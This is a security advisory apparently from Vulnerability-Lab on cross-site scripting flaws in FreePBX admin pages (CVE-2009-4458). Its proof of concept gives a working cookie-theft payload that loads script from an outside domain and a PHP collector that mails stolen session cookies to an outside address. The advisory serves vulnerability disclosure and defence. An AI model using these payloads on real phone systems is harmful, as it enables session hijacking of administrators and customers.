Document Title:
===============
PBX Phone System v2.x & 3.x  - Multiple Web Vulnerabilities


References (Source):
====================
CVE: 2009-4458 	(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4458)
OSVDB-ID: 61357  (http://osvdb.org/show/osvdb/61357)
EDB-ID: 10645 (http://www.exploit-db.com/exploits/10645/)
PID:  84296  (http://packetstormsecurity.org/files/view/84296/pbxps-xss.txt)


Release Date:
=============
2011-06-16


Vulnerability Laboratory ID (VL-ID):
====================================
177


Product & Service Introduction:
===============================
It s Hard to Beat Free FreePBX is for both developers and people searching for a Business Phone System.
The new to FreePBX, Asterisk® or FreeSWITCH by PBX. FreePBX is an easy to use GUI (graphical user interface)
that controls and manages Asterisk, the world s most popular open source telephony engine software. FreePBX
has been developed and hardened by thousands of volunteers over tens of thousands man hours. FreePBX has been
downloaded over 5,000,000 times and estimates over 500,000 active phone systems. If you don t know about FreePBX,
you are probably paying too much for your phone system. Government in Europe & USA mostly use that Software to
configure Phone System inside of the offices.
 
(Copy of the Vendor Homepage: http://www.freepbx.org/)


Abstract Advisory Information:
==============================
Vulnerability-Lab Team discovered multiple persistent & non-persistent Vulnerabilities on PBX Phone System Application.


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple cross-site scripting (XSS) vulnerabilities in FreePBX 2.5.2 and 2.6.0rc2, and possibly other versions, allow remote attackers to inject arbitrary web script or HTML via the (1) tech parameter to admin/admin/config.php during a trunks display action, the (2) description parameter during an Add Zap Channel action, and (3) unspecified vectors during an Add Recordings action.

1.1
Multiple XSS Vulnerabilities are detected on client-side(persistent). An attacker with low privilegs is able
to include own bad script routines on client-side(Example;PHP;JS) of the phone application. Attackers can get Session-Data(Cookies)
of customers/admins over multiple Cross Site Scripting Vulnerabilities.
 
Vulnerable Module: 
            [+] Trunk/Tech
 
Path:   /admin/admin/  
File:   config.php 
Para:   ?display=trunks&tech=
 
 
1.2
Multiple XSS Vulnerabilities are detected on server-side. An attacker with low privilegs is able
to include own bad script routines on server-side(Example;PHP;JS) of the phone application. Attackers can get Session-Data(Cookies)
of customers/admins over multiple Cross Site Scripting Vulnerabilities.
 
Vulnerable Module: 
            [+] Add Recordings
            [+] Add Zap Channel


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers with user inter-action. For example or demonstration ...
 
1.1
 
location.href='https://127.0.0.1:8080/admin/admin/config.php?display=trunks&tech=%3C/script%3E%20%22%3E
%3Cscript%20src%3Dhttp%3A//global-evolution.info/etc/grep.php%3E%3C/script%3E?nice='+escape(document.cookie)
 
<?
$cookie = $_GET['nice'];
$ip = getenv("REMOTE_ADDR");
$Time = date("l dS of F Y h:i:s A");
$msg = "Cookie: $cookie\nIP Address: $ip\Time: $Time";
$subject = "cookie";
mail("notify@global-evolution.info", $subject, $msg);
header ("location: http://127.0.0.1:8080/admin/");
?>
 
 
1.2
 
<form name="editZapchandid" action="" method="post" onsubmit="return checkZapchandid(editZapchandid);">
<input type="hidden" name="extdisplay" value="">
<input type="hidden" name="channel" value="">
<input type="hidden" name="action" value="add">
<table><tr><td colspan="2"><h5>Add Channel<hr></h5></td></tr>
<tr><td><a href="#" class="info">Channel:<span>The Zap Channel number to map to a DID</span></a></td>
<td><input size="5" type="text" name="channel" value="" tabindex="1"></td>
</tr><tr><td><a href="#" class="info">Description:<span>A useful description describing this channel</span></a></td>
<td><input size="40" type="text" name="description" value="INSERT 0WN SCRIPTCODE HERE!!!" tabindex="2"></td>
</tr><tr><td><a href="#" class="info">DID:<span>The DID that this channel represents. The incoming call on this channel
will be treated as if it came in with this DID and can be managed with Inbound Routing on DIDs</span></a></td>
<td><input size="40" type="text" name="did" value=""  tabindex="3"/></td>
</tr><tr><td colspan="2"><br><input name="Submit" type="submit" value="Submit Changes" tabindex="4">
</td></tr></table></form>


Security Risk:
==============
1.1
The security risk of the non-persistent vulnerabilities are estimated as low because of the client-side attack.
 
1.2
The security risk of the persistent vulnerabilities are estimated as medium because of the server-side attack.


Credits & Authors:
==================
Vulnerability Research Laboratory


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    admin@vulnerability-lab.com 	- support@vulnerability-lab.com 	       - research@vulnerability-lab.com
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory